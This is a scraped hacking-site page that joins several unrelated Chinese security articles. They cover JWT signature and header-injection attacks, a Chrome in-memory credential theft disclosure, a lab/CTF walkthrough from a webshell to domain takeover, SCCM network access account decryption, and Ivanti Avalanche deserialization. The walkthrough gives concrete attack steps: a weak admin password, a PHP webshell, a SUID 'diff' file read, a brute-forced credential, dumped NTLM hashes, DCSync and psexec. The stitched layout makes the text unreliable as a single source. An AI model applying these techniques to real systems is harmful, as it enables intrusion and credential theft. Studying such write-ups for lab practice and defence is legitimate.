實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification提供的環境，來練習如何利用有缺陷的簽名驗證機制來繞過JWT認證。暴力破解密鑰某些簽名算法，如HS256（HMAC + SHA-256），會使用一個任意的、獨立的字符串作為秘密密鑰。就像密碼一樣，這個秘密不能被攻擊者輕易猜到或暴力破解，這是至關重要的。否則，他們就能以任意的頭部和載荷值來創建JWT，然後用密鑰重新給令牌簽名。

在實現JWT應用時，開發人員有時會犯一些錯誤，比如忘記改變默認或占位的密碼。他們甚至可能複制和粘貼在網上找到的代碼片段，然後忘記改變作為示例提供的硬編碼的密碼。在這種情況下，攻擊者使用流行的密碼本，輕鬆對服務器的登陸憑據進行暴力破解。

使用hashcat來暴力破解密鑰我們建議使用hashcat對密鑰進行暴力破解。您可以手動安裝hashcat，但它在Kali Linux上是預裝的，可以直接使用。

如果您使用的是Kali中預構建的VirtualBox映像，而不是裸機安裝程序版本，則可能沒有足夠的內存來運行Hashcat程序。

為此，您只需要一個來自目標服務器的有效的、已簽名的JWT，以及一個眾所周知的密碼字典wordlist。然後，可以運行以下命令，將JWT和wordlist作為參數傳入：

hashcat-a0-m16500jwtwordlistHashcat程序會使用密碼字典wordlist中的每個密碼對JWT的頭部和載荷進行簽名，然後將得到的簽名與服務器的原始簽名進行比較。如果任何一個簽名匹配，hashcat就會以下列格式輸出已識別的密碼，以及其他各種細節：

jwt:identified-secret如果多次運行該命令，則需要包含--show標誌以輸出結果。

由於hashcat在您的機器上本地運行，並且不依賴於向服務器發送請求，所以這個過程會非常快，即使在使用龐大的密碼字典Wordlist時也是如此。

一旦確定了密鑰，就可以使用它為您喜歡的任何JWT頭部和載荷生成有效簽名。有關如何利用Burp Suite重新給修改後的JWT簽名的詳細信息，請參見相關章節。

實驗環境：通過弱簽名密鑰繞過JWT身份驗證的實驗，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key。

如果服務器使用了非常弱的密碼，甚至能夠用遍歷字符的方式進行暴力破解，而不必使用Wordlist。

JWT頭部參數注入根據JWS規範，只有頭部參數alg是必需的。然而，在實踐中，JWT頭部（也稱為JOSE頭部）通常包含其他幾個參數。以下是攻擊者特別感興趣的參數：

jwk（JSON Web Key）：提供一個表示密鑰的嵌入式JSON對象。

jku（JSON Web Key Set URL）：提供一個URL，服務器可以從中獲取一組包含正確密鑰的密鑰。

kid（Key ID）：提供一個ID，在有多個密鑰可供選擇的情況下，服務器可以使用該ID來識別正確的密鑰。根據密鑰的格式，它可能還有一個匹配的kid參數。

正如你所看到的，這些用戶可控制的參數用於告訴接收方服務器在驗證簽名時使用哪些密鑰。在本節中，你將學習如何利用這些參數來注入修改過的JWT，而這些JWT都是用你自己的任意密鑰而非服務器的密鑰來簽名的。

通過jwk參數注入自簽名的JWTJSON Web簽名（JWS）規範描述了一個可選的jwk頭部參數，服務器可以用它將其公鑰直接嵌入JWK格式的令牌本身。

JWKJWK（JSON Web密鑰）是一種標準化的格式，用於將密鑰表示為JSON對象。

下面，我們為大家展示一個JWT頭部示例：

{

'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG',

'typ':'JWT',

'alg':'RS256',

'jwk':{

'kty':'RSA',

'e':'AQAB',

'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG',

'n':'yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m'

}

}對於不熟悉“公鑰”和“私鑰”這兩個術語讀者，請參閱https://portswigger.net/web-security/jwt/algorithm-confusion#symmetric-vs-asymmetric-algorithms。

理想情況下，服務器應該只使用有限的公鑰白名單來驗證JWT簽名。然而，配置錯誤的服務器有時會使用jwk參數中嵌入的任何密鑰來驗證簽名。

因此，攻擊者可以利用這種行為，用自己的RSA私鑰對修改過的JWT進行簽名，然後在jwk頭部中嵌入對應的公鑰。

雖然我們也可以在Burp中手動添加或修改jwk參數，但JWT編輯器擴展提供了一個非常方便的功能，用於幫助我們測試這個漏洞。

1、在加載該擴展後，在Burp的主選項卡欄中，轉到JWT Editor Keys選項卡。

2、創建一個新的RSA密鑰。

3、向Burp Repeater發送一個包含JWT的請求。

4、在消息編輯器中，切換到擴展生成的JSON Web Token選項卡，並以你喜歡的方式修改令牌的載荷。

5、點擊Attack按鈕，然後選擇Embedded JWK。當收到提示時，選擇新生成的RSA密鑰。

6、發送請求，測試服務器的響應情況。

您也可以通過自己添加jwk頭部來手動執行這種攻擊。然而，您可能還需要更新JWT的頭部參數kid，以匹配嵌入的密鑰的kid。實際上，該擴展的內置攻擊可以替我們完成這個步驟。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection，來了解如何通過注入jwk頭部來繞過JWT認證。

通過jku參數注入自簽名的JWT實際上，有些服務器並不會直接使用jwk頭部參數來嵌入公鑰，而是讓你使用jku（JWK Set URL）頭部參數來引用一個包含密鑰的JWK Set。當驗證簽名時，服務器會從這個URL中獲取相關的密鑰。

實際上，所謂JWK Set就是一個JSON對象，其中包含一組表示密鑰的JWK，例如：

{

'keys':[

{

'kty':'RSA',

'e':'AQAB',

'kid':'75d0ef47-af89-47a9-9061-7c02a610d5ab',

'n':'o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ'

},

{

'kty':'RSA',

'e':'AQAB',

'kid':'d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA',

'n':'fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw'

}

]

}像這樣的JWK集有時會通過一個標準的端點對外公開，如/.known/jwks.json。

雖然更安全的網站只會從受信任的域中獲取密鑰，但有時可以利用URL解析的差異來繞過這種過濾機制。關於這方面的例子，請參閱https://portswigger.net/web-security/ssrf#ssrf-with-whitelist-based-input-filters。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection，來練習如何通過注入jku頭部來繞過JWT認證。

通過kid參數注入自簽名的JWT服務器可能會使用多個加密密鑰來為不同類型的數據進行簽名，而不僅僅是JWT。出於這個原因，JWT的頭部可能包含一個kid（密鑰ID）參數，以幫助服務器識別在驗證簽名時要使用的密鑰。

驗證密鑰通常被存儲為JWK Set。在這種情況下，服務器可以直接尋找與令牌具有相同kid參數的JWK。然而，JWS規範並沒有為這個ID定義具體的結構：它只是開發人員任意選擇的一個字符串。例如，他們可能使用kid參數來指向數據庫中的一個特定條目，甚至是一個文件的名稱。

如果這個參數也容易受到目錄遍歷的影響，攻擊者就有可能迫使服務器使用其文件系統中的任意文件作為驗證密鑰。

{

'kid':'././path/to/file',

'typ':'JWT',

'alg':'HS256',

'k':'asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc'

}如果服務器也支持使用對稱算法為JWT簽名，這就非常危險了。在這種情況下，攻擊者有可能將kid參數指向一個可預測的靜態文件，然後用一個與該文件內容相匹配的秘密來給JWT簽名。

理論上講，攻擊者可以用任何文件來做這件事，但最簡單的方法之一是使用/dev/null，它存在於大多數Linux系統中。由於這是一個空文件，讀取它時將返回null。因此，用一個Base64編碼的null字節來給令牌簽名將得到一個有效的簽名。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal，來練習如何通過kid頭部路徑遍歷漏洞來繞過JWT驗證。

如果服務器將其驗證密鑰存儲在數據庫中，kid頭部參數也是一個潛在的SQL注入攻擊的載體。

其他有趣的JWT頭部參數以下頭部參數也可能是攻擊者感興趣的：

●cty（內容類型）：有時用於聲明JWT載荷中內容的媒體類型。通常情況下，會省略該參數，但底層解析庫可能還是支持它。如果已經找到了繞過簽名驗證的方法，可以嘗試注入cty參數，將內容類型改為text/xml或application/x-java-serialized-object，這有可能為XXE和反序列化攻擊提供新的向量。

●x5c（X.509證書鏈）：有時用於傳遞用於對JWT進行數字簽名的X.509公鑰證書或證書鏈。這個頭部參數可用於注入自簽證書，類似於上面討論的jwk頭部注入攻擊。由於X.509格式及其擴展的複雜性，解析這些證書也很可能會引入漏洞。這些攻擊的細節超出了本文的討論範圍，但要了解更多細節，請參考CVE-2017-2800和CVE-2018-2633漏洞的相關資料。

JWT算法混淆即使服務器使用了攻擊者無法破解的強大密碼，他們仍然可以通過使用開發人員沒有預料到的算法簽名令牌來偽造有效的JWT。這就是所謂的算法混淆攻擊。關於該攻擊方法的詳細介紹，請訪問這篇文章：https://portswigger.net/web-security/jwt/algorithm-confusion。

如何防禦JWT攻擊您可以通過採取以下措施來保護自己的網站免受本文介紹的各種攻擊：

使用最新的庫來處理JWT，並確保開發人員完全了解它是如何工作的，以及所帶來的任何安全影響。現代代碼庫的使用，降低了在代碼實現中引入安全漏洞的可能性，但由於相關規範固有的靈活性，這也不是萬無一失的。

確保對收到的任何JWT進行嚴格的簽名驗證，並考慮邊緣情況，如使用非預期的算法簽名的JWT。

為jku頭部提供允許主機白名單，並嚴格執行。

確保不會受到通過kid頭部參數進行路徑穿越或SQL注入的影響。

JWT處理的其他最佳實踐我們建議在您的應用程序中使用JWT時遵守以下最佳實踐：

始終為頒發的任何令牌設置一個到期日。

盡可能避免通過URL參數發送令牌。

提供aud聲明（或類似內容），以指定令牌的預期接收者。這可以防止它被用在不同的網站上。

讓頒發服務器能夠撤銷令牌（例如，在註銷時）。

HireHackking

憑證數據（URL/用戶名/密碼）以明文格式存儲在Chrome的內存中。除了登錄特定Web應用程序時動態輸入的數據外，攻擊者還可以使瀏覽器將存儲在密碼管理器(“登錄數據”文件)中的所有密碼加載到內存中。

Cookie的數據（cookie的值+屬性）以明文格式存儲在Chrome的內存中（當相關應用程序被急活時），這包括敏感的會話cookie。

這些信息可以通過在本地設備上運行的標準（非提升）進程有效地提取，並直接訪問Chrome的內存（使用OpenProcess+ReadProcessMemoryAPI）。

提取的數據可用於劫持用戶的帳戶，即使它們受到MFA機制的保護（使用“會話cookie”數據）。

Gmail、OneDrive和GitHub的示例會話劫持是“POC-ed”。

在MicrosoftEdge瀏覽器中發現了類似的漏洞（據推測，其他基於Chromium引擎的瀏覽器也會出現）。

本文描述了對瀏覽器的直接內存訪問攻擊。還有其他公開的竊取這些敏感數據的方法。

為什麼這是一個重要問題：如果一個人接受“假設違規”範式，那麼基於Chromium的瀏覽器處理敏感憑證數據的方式中的漏洞都應該被視為主要的安全風險。緩解措施應處理所有這些漏洞。

ProcessHacker工具（由WenJiaLiu編寫）在這項研究中被證明非常有用。如果你懷疑某個特定字符串存儲在進程的內存中，那麼查找它的快速方法是：

在ProcessHacker.exe中打開該進程；

選擇“內存”選項；

激活“字符串”子選項；

選擇“過濾器”選項並在“包含.”框架中輸入你要查找的字符串；

這是我查找已知密碼時生成的輸出示例（為了保密，我更改了它）：

1.webp.jpg

ProcessHacker.exe在Chrome內存中識別的已知密碼

如果你返回顯示的內存佈局（當你選擇“內存”選項時），你會發現該字符串位於Private類型的內存部分中：

2.webp.jpg

查找已知密碼存儲在Chrome內存中的內存塊

深入查看該內存塊，密碼存儲在Private:Commit類型的內存部分中：

3.webp.jpg

查找已知密碼存儲在Chrome內存中的特定內存部分

根據MSDN，私有內存（MEMORY_BASIC_INFORMATIONType=MEM_PRIVATE）意味著：

4.webp.jpg

MSDN中的MEM_PRIVATE內存屬性定義

人們可能會認為存儲在此類內存頁面中的數據不能被任何其他進程訪問。令人驚訝的是，這些頁面不能成為“共享內存”的一部分，但其他進程讀取其中的數據沒有問題（通過ReadProcessMemoryAPI）。

可以看到，上述ProcessHacker.exe作為標准進程運行，訪問這些數據沒有問題！

如果這些頁面真的是私有的，那麼這裡描述的攻擊向量將是不可能的。我想知道Chromium的創建者是否（在某些時候）認為敏感數據在存儲在私有內存中時是安全的。

當然，在瀏覽器內存中查找已知字符串並不是什麼大問題。尋找未知字符串怎麼樣？我決定只通過查看進程內存來嘗試找到敏感數據（不嘗試分析程序的開源代碼）。

Chromium內存佈局看起來像是被設計成一個“乾草堆（haystack）”，因此很難找到和“理解”存儲的數據（特別是密碼和cookie值等敏感字符串）。我還遇到了各種蜜罐，它們看起來像是故意創建的，用於生成明文密碼的誤報識別。其中的困難包括：

1.相對大量的瀏覽器進程（例如chrome.exe）。

2.每個進程都分配了大量的虛擬內存（有些超過230GB）。

3.每個進程的內存由許多（有時數百個）“脫節”的小型已提交內存部分組成，這些部分由“保留”部分分隔。

4.大內存“組合”部分，包括許多如上所述的不相交的部分，這些部分實際上是“空的”（不是“真正”使用的）。

5.看起來像密碼或cookie值的字符串（實際字符串的子字符串）。

6.將屬於一個邏輯“記錄”的項目（例如URL+用戶名+密碼）分散到遠程存儲位置。

這可能是所有看起來像是隱藏(“混淆”)的嘗試，而只是正常操作的結果。如上所述，我沒有查看代碼，但我認為他們試圖隱藏敏感數據。

從Chrome內存中提取的明文憑證數據類型

事實證明，通過標準的非特權進程可以很容易地從瀏覽器的內存中有效地提取明文憑證數據。實際上，這意味著：

1.它使用了合理數量的計算機資源（CPU能力、內存）。

2.執行在合理的時間內完成。

3.誤報現象較少。

注意：當描述POC程序的部分時，我知道大多數讀者會期望關鍵功能的技術細節和源代碼片段。由於本博文結尾部分解釋的原因，此信息不會被披露。已開發POC程序以提取以下類型的信息：

1、登錄目標Web應用程序時使用的用戶名+密碼該程序等待用戶登錄特定的Web應用程序（例如Gmail、OneDrive、GitHub等），然後分析捕獲的內存快照以識別用於登錄應用程序的用戶名和密碼。

這有點像一個有效的鍵記錄程序可以實現的功能，但重要的區別是，之前存儲的密碼(例如，在瀏覽器的密碼管理器工具中)，它完全繞過了最初定義時沒有運行的鍵記錄程序，將被我們的程序發現。

該程序查看登錄之前和之後立即拍攝的快照之間的差異，並查找僅出現在“after”內快照中並且看起來像潛在的用戶名和密碼字符串的新字符串。

注意：這是本研究中開發的最複雜的POC程序，它產生了相當多的誤報結果，因為相當多的新字符串出現在“after”內存快照中。

排除這些假陽性案例是可能的（例如，通過識別出現在登錄過程中的常見“單詞”），並且如果想要努力，可以不斷改進。具有諷刺意味的是，密碼越強，就越容易從“噪音”假陽性案例中分離出來(例如，由小寫和大寫字符、數字和特殊符號組成的10個字符的字符串比只有小寫字符的7個字符的字符串更有可能是密碼)。

2、URL+用戶名+密碼在瀏覽器啟動時自動加載到內存中當瀏覽器啟動時，“登錄數據”文件（Chromium存儲保存的密碼）中的一些條目會自動加載到內存中。雖然並非“登錄數據”中的所有條目都必須加載，但最近使用的條目是必須加載的。

“登錄數據”數據庫中的密碼是DPAPI加密的，但是當它們“分散”到內存中時，它們會以明文格式保存。

與前一種情況（上面的“a”）不同，這里分析一組快照就足夠了，因為加載的憑證數據靜態地保留在內存中。

我們開發了一個有效的POC程序，可以從內存中提取這些數據。可能會生成少量誤報項目。同樣，過濾掉誤報情況的算法可以得到顯著和持續的改進。

3、登錄數據中存儲的所有URL+用戶名+密碼記錄可以使瀏覽器的密碼管理器功能將其所有存儲的記錄加載到內存中。我們開發的POC程序可以提取所有加載的記錄。在這種情況下，敏感數據以易於識別的結構排列。

因此，程序對提取的數據有很高的信心，並且在大多數情況下，幾乎沒有誤報條目。

在這種情況下，所有保存的密碼記錄都加載到了Chrome的內存中。他還幫助我發現和分析了各種Chromium內存佈局。

4.屬於特定Web應用程序的所有cookie（包括會話cookie）

該程序等待用戶登錄到一個特定的應用程序(例如，Gmail, OneDrive, GitHub等)。當應用程序會話處於活動狀態時，程序可以從Chrome的內存中提取屬於該會話的所有cookie。這些被盜的cookie可以上傳到不同設備上的瀏覽器中，並且會話可以被盜（繞過任何MFA機制）。

當竊取的cookie被用於劫持會話時，典型的應用程序（例如Gmail）無法識別連接是從新設備還是從新位置建立的。這是因為完全繞過了登錄過程。根據cookie的內容，應用程序假定這是先前經過身份驗證的會話的延續。

值得注意的是，某些應用程序鼓勵其用戶不要退出應用程序。例如，Gmail的會話cookie的有效期為自首次生成之日起兩年。同樣，MicrosoftOneDrive最近開始向其網絡用戶建議他們無需退出會話。在這些情況下，竊取會話cookie的攻擊者可能會在很長一段時間內與真正的所有者“共享”該帳戶。

誤判極為罕見。

負責任的披露和供應商響應我於2021年7月29日向Google報告了此問題：

10.webp.jpg

谷歌回應

該報告包括Gmail會話劫持的詳細POC，包括從Chrome內存中提取cookie的程序的源代碼。

Chromium.org的回复(WontFix)很快：

11.webp.jpg

Chromium.org以WontFix狀態關閉問題

這種回應並不令人驚訝，因為其他類似“假設違規”漏洞的報告也收到了類似的回應。

14週後，Chromium公開了我的報告：

12.webp.jpg

谷歌向公眾發布問題細節

總的來說，Chromium.org表示他們不會修復與物理本地攻擊相關的問題，因為Chrome(或任何應用程序)沒有辦法防禦一個以你的身份登錄你的設備的惡意用戶。雖然這種說法總體上可能是正確的（特別是如果你假設攻擊者可以獲得管理員權限），但我相信竊取敏感憑證應該不像今天這樣容易。因此，如上所述，我的下一篇文章將提出幾種緩解技術，使攻擊更難執行。

在披露後大約一個月，我的程序未能提取cookie數據。事實證明，一般內存佈局已被修改（在Chrome和Edge中）。大約兩個月後，它再次失敗。這一次，“敏感”數據的位置已經改變（同樣，同時針對Chrome和Edge）。

最初的POC程序是為Chrome版本91.0.4472.164開發的：

13.webp.jpg

原始POC程序的Chrome版本

演示視頻中的POC程序正在訪問Chrome的96.0.4664.45版本：

14.webp.jpg

演示視頻中用於POC程序的Chrome版本

如上所述，自從我們負責任地披露了這個漏洞以來，已經發現了內存佈局以及cookie值在內存中存儲方式的修改。但是，這些修改非常普遍，並沒有使“憑證竊取”行文變得更加困難。

由於供應商未計劃修復該漏洞，因此共享POC或源代碼不會促進問題的解決，而是可能造成傷害或提升相關威脅。因此，我們決定不發布POC。

HireHackking

0x1 Info

image
靶场地址：https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全，且出题的思路很好，感兴趣的可以去玩玩

0x2 Recon

  1. Target external IP
    39.98.34.149
  2. Nmap results
    image
  3. 关注80端口的http服务，目录爆破（省略）找到 /admin
    image
  4. 使用弱口令登录进入后台，去到模板页面，编辑header.html，添加php一句话
    \
    用户名: admin, 密码：123456


image

  1. 命令执行
    image

0x03 入口点：172.22.4.36

  1. 弹shell
    image
    快速过一下：
    • 入口机器没特别的东西
    • 没能提权到root权限（也不需要提权到root权限）
    • stapbpf suid利用失败

      找到diff suid
      image
  2. flag01
    diff --line-format=%L /dev/null /home/flag/flag01.txt
    image
  3. flag01 里面有提示用户名
    WIN19\Adrian
  4. 挂代理扫 445
    image

    获取到三个机器信息

    172.22.4.19 fileserver.xiaorang.lab
    172.22.4.7 DC01.xiaorang.lab
    172.22.4.45 win19.xiaorang.lab

  5. 用 Flag01提示的用户名 + rockyou.txt 爆破，爆破出有效凭据 (提示密码过期)

    win19\Adrian babygirl1
  6. xfreerdp 远程登录上 win19 然后改密码
    image
    image

0x04 Pwing WIN19 - 172.22.4.45

前言：当前机器除了机器账户外，完全没域凭据，需要提权到system获取机器账户

  1. 桌面有提示
    image
  2. 关注这一栏，当前用户Adrian对该注册表有完全控制权限
    image
    image
  3. 提权
    msfvenom生成服务马，执行 sam.bat
    image

    sam.bat
    image

    修改注册表并且启用服务，然后桌面就会获取到 sam，security，system
    image
  4. 获取 Administrator + 机器账户 凭据

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636

    image

  5. flag02
    image
  6. 使用机器账户收集域信息
    image

0x05 DC takeover - 172.22.4.7

  1. 分析 Bloodhound，发现 WIN19 + DC01都是非约束委派
    image
  2. 使用Administrator登录进入 WIN19，部署rubeus
    image
  3. 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT
    image
    image
  4. Base64的tgt 解码存为 DC01.kirbi
    image
  5. DCSync 获取域管凭据
    image
  6. psexec - flag04
    image

0x06 Fileserver takeover - 172.22.4.19

  1. psexec - flag03
    image

0x07 Outro

  • 感谢Alphabug师傅的提示（0x03 - 0x04），大哥已经把入口点都打完了，我只是跟着进来而已
  • 感谢九世师傅的合作

原文链接：https://www.freebuf.com/articles/web/352151.html
HireHackking

Microsoft系統中心配置管理器(SCCM)。 SCCM是一款微軟產品體系架構下的桌面端，服務器，移動端管理產品。主要是負責桌面標準化，網絡批量安裝部署軟件和操作系統，殺毒策略，資產收集，移動端管理等等。是一款作為IT管理員，企業基礎架構管理的必備工具。在這篇文章中，我們將介紹SCCM 如何使用其HTTP API 來初始化客戶端。我們還將了解如何從SCCM 檢索網絡訪問帳戶，以及我們如何解密這些憑據而無需使用DPAPI 或管理員帳戶。

實驗室設置對於我們的實驗室設置，我們將使用默認的SCCM 部署。我發現最簡單的方法是通過自動化實驗室，它支持通過ConfigurationManager 角色進行安裝：

1.png

我們將在這篇文章中使用的版本是Configuration Manager 2103，我們將把我們的主站點命名為P01。本實驗的服務器將稱為SCCM01，我們將配置為使用HTTP 進行通信。

一旦SCCM服務器的設置完成，我們將把一切都保留為標準，並添加一個Network Access Account供以後使用：

2.png

完成後，我們就可以繼續探索了！

客戶端註冊讓我們首先看看客戶機嘗試向SCCM註冊時生成的請求。為了做到這一點，我們使用@_Mayyhem awesome SharpSCCM工具：

3.png

當SharpSCCM 調用實際的.NET 客戶端庫時，我們會收到一個清晰的請求，我們可以使用WireShark 來識別它。客戶端向SCCM 服務器註冊的初始步驟如下：

4.png

這個HTTP 請求被發送到SCCM 服務器，由兩部分組成，一個是XML 編碼的標頭，另一個是在多部分/混合HTTP 請求中發送的XML 編碼的正文。有趣的是，該協議還使用了CCM_POST 的HTTP 方法。

標頭採用UTF-16 編碼，如下所示：

5.png

請求正文是zlib壓縮和Unicode編碼：

6.png

為了簡單起見，我刪除了一些較長的十六進製字符串，但我們在這裡看到的是三個十六進制blob被發送到服務器，以及一些關於我們的客戶端的初始信息。

讓我們轉儲Signing blob：

7.png

如果我們看這個，我們實際上會看到這是一個DER 編碼的證書：

8.png

生成此證書時，添加了兩個擴展密鑰使用OID：

9.png

這些將證書標記為短信簽名證書(自簽名)。

因此，我們看到客戶端證書被傳遞給SCCM服務器以供稍後使用，但是SignatureValue字段呢？讓我們啟動dnSpy並深入研究System.ConfigurationManagement.Messaging.dll程序集，該程序集位於安裝了客戶端的主機上的C:\Windows\CCM 中。

經過一番搜尋，我們在Interop.Crypt32.HashAndSignData中找到了答案：

10.png

這表明，使用帶有PKCSv15填充的RSA- sha256正在使用與證書關聯的RSA 私鑰對XML 請求正文進行簽名。

這裡需要注意的一件奇怪的事情是，一旦生成簽名，字節在ASCII十六進制編碼並添加到請求¯\_(ツ)_/¯之前會被反轉。

當服務器響應這個客戶端註冊請求時，我們再次看到有一個XML 標頭和正文，其中正文數據被zlib 壓縮。可以看到我們被分配給了ClientID，它是在我們的客戶端與服務器通信期間使用的UUID：

11.png

在這個階段值得注意的是，這個請求可以發送到未經身份驗證的SCCM URL http://SCCM01/ccm_system/request。這足以向SCCM添加一個客戶端條目，但是我們將處於“未批准”狀態。這種狀態在以後會變得很重要：

12.png

政策要求客戶端註冊後，客戶端執行的下一個階段是檢索策略列表。此調用還使用

13.png

不幸的是，這是事情變得有點複雜的地方。我們首先需要關注的是PublicKey blob。這實際上只是客戶端之前為證書生成的RSA 公鑰，但是這次它被編碼為PUBLICKEYBLOB。

接下來是ClientIDSignature。這是我們之前看到的用於簽署ClientID 的RSA-SHA256 簽名，前面帶有GUID:然後轉換為Unicode。例如：

14.png

最後是PayloadSignature，它是隨後壓縮的主體的簽名。

這個請求的主體是zlib 壓縮和Unicode 編碼的，帶有我們客戶端的信息：

15.png

對該請求的響應是XML主體中可用的策略列表：

16.1.png

16.2.png

雖然這裡有很多有趣的東西，但我們現在要關注的領域將是網絡訪問帳戶的共享方式。

秘密政策如果你遍歷我們檢索到的策略列表，你一定會遇到標記為“秘密”的策略。其中一個策略是NAAConfig，它包含了網絡訪問帳戶：

17.png

你可能已經看到@gentilkiwi 在2021 年發布的Mimikatz 更新中引用了這些帳戶，這表明通常這些憑據是在SCCM 客戶端上使用DPAPI 加密的：

18.png

但是，如果我們嘗試使用RequestAssignments 請求返回的URL 直接下載此策略，我們會看到出現一個錯誤。

19.png

這樣做的原因是需要對秘密策略的請求進行身份驗證。但是由於這是SCCM，所以還需要進行另一種類型的身份驗證。

經過一番搜尋之後，我發現了對SCCM 服務器上名為ccmgencert.dll 的DLL 中使用的身份驗證類型的引用：

20.png

既然我們知道了一些使用的簽名方法，這些標頭實際上可以很容易被創建。看看被添加到SCCM平台的客戶端，我們看到它們是這樣的：

21.png

ClientToken只是我們的cliententid和當前DateTime的一個連接。 ClientTokenSignature是使用上面相同的RSA-SHA256算法的簽名。

讓將這些標頭添加到我們的請求中，看看會得到什麼：

22.png

這一次，我們得到了不同的回應。我的意思是我們出現錯誤，但我們也沒有得到任何不好的數據。

事實證明，對於我們的客戶端實際請求秘密策略，他們需要在服務器上處於Approved 狀態。

默認情況下，SCCM 安裝有以下內容：

23.png

那麼，計算機是如何自動自我認可的呢?還有另一個URL被/ccm_system_windowsauth/request的客戶端使用。如果之前的XML ClientRegistrationRequest被發送到這個路徑，並完成NTLMSSP驗證計算機帳戶，則客戶端設置為Approved 狀態：

24.png

現在，當對此URL 進行身份驗證時，我們似乎可以使用任何隨機域用戶帳戶。然而，問題是它似乎不足以迫使客戶進入批准狀態。相反，我們需要使用計算機帳戶（儘管它不需要與我們嘗試註冊的客戶端相對應），所以addcomputer.py 在這裡非常有用。

25.png

通過將此身份驗證步驟添加到我們的註冊請求並強制我們的客戶端進入Approved 狀態，下次我們請求NAAConfig 策略時，我們會得到如下所示的內容：

26.png

好吧，回到dnSpy，我們去嘗試弄清楚。答案在Interop.DecryptMessageFromCertificateFile 方法中找到，該方法顯示了CryptDecryptMessage API 調用的使用。

27.png

參數顯示此加密策略是使用3DES CBC 的PKCS7 編碼blob，其密鑰源自我們之前在證書中提供的RSA 公鑰。

解密後，我們終於看到了一些實際的憑證，如下所示：

28.png

網絡訪問帳戶混淆起初，獲取這些賬戶似乎需要更多的加密貨幣。但是MimiKatz 已經向我們展示了這些憑據最終可以在客戶端上訪問，因此我們知道我們的客戶端必須能夠在使用DPAPI 保護它們之前以某種方式解密這些憑據……那麼密鑰是什麼？在尋找這個加密是如何完成的之後，我在客戶端上找到了一個名為PolicyAgent.dll 的DLL。

最重要的是調試字符串：

29.png

UnobfuscateString 聽起來很有希望，當然聽起來比DecryptString 更好。我沒有深入研究這個反彙編的所有部分，而是創建了一個快速調試工具來調用這個函數。

30.png

當運行在與SCCM實驗室網絡無關的主機上時，並且連接到調試器以逐步解決通過以這種方式調用方法而發生的不可避免的訪問衝突時，就會解密用戶名和密碼：

31.png

32.png

這意味著所使用的加密與描述的完全一樣，它是被混淆的！我們擁有在密文中解密這些憑證所需的所有信息，而且我們可以完全離線完成！

通過重新創建unobfuscation方法的步驟，我們可以創建如下所示的解密代碼。

33.1.png

有了計算機帳戶，我們就可以在SCCM 中添加虛假客戶端，下載加密的網絡訪問帳戶憑據，並對其進行解密，而無需處理提升權限或任何DPAPI 解密。

HireHackking

IVANTIAVALANCHE漏洞利用（上）

是否需要任何身份驗證？此時，我似乎擁有了發送我自己的信息所需的一切。但是，當我發送時，我看到目標服務沒有任何反應。我查看了InfoRail服務日誌文件，發現了這些有趣的行：

11.png

InfoRail日誌文件——刪除未經身份驗證的消息

我似乎漏掉了一個重要的部分：身份驗證。有了有關協議和加密的所有詳細信息，我能夠快速識別網絡流量中的註冊消息。這是負載不以XML形式存儲的罕見示例之一。下面的截圖展示了一個註冊消息的片段：

12.png

註冊消息的片段

這裡研究人員發現了幾件重要的事情：

马云惹不起马云 --reg.appident——指定嘗試註冊的服務的名稱。

马云惹不起马云--reg.uname/reg.puname——指定看起來像用戶名的東西。

马云惹不起马云--reg.cred/reg.pcred——指定看起來像哈希密碼的東西。

經過大量的代碼分析，我確定了以下內容：

马云惹不起马云--Uname和puname是部分隨機的。

马云惹不起马云--Cred和pcred值是MD5哈希值，基於以下值：

马云惹不起马云--用戶名（.anonymous.0.digits）。

马云惹不起马云--密鑰的適當片段，在源代碼中被硬編碼。

同樣，唯一需要的秘密在源代碼中是可見的。攻擊者可以檢索密鑰並構造他自己的有效註冊消息。

最後，我們可以正確註冊InfoRail服務並將我們自己的消息發送到任何Avalanche服務。

在這個階段，可以驗證ObjectGraph類中沒有實現allowlist的服務。我找出了其中的5個：

马云惹不起马云數據存儲服務(ZDI-CAN-15169)。

马云惹不起马云StatServer服務(ZDI-CAN-15130)。

马云惹不起马云通知服務器服務(ZDI-CAN-15448)。

马云惹不起马云證書管理服務器服務(ZDI-CAN-15449)。

马云惹不起马云Web文件服務器服務(ZDI-CAN-15330)。

我們有五個XStream反序列化終端，可以反序列化我們提供的任何東西。人們可以立即開始考慮利用這種反序列化的方法。首先，XStream對其安全性非常透明。他們的安全頁面（可在此處獲得）基於Java運行時中可用的類提供多個小工具。遺憾的是，沒有合適的小工具適用於我試圖利用的前四個服務，因為沒有加載所需的類。

XStream試圖允許盡可能多的對像圖，默認轉換器幾乎是steroid上的Java序列化。除了對第一個不可序列化的父構造函數的調用之外，Java序列化可以實現的一切似乎都可以通過XStream實現（括代理構造）包。

在較新版本的XStream中似乎沒有代理構造。但是，我們仍然應該能夠使用ysoserial小工具來利用它。那時還沒有用於XStream的Ysoserial小工具，所以我自己創建了幾個。它們可以在這個GitHub存儲庫中找到。

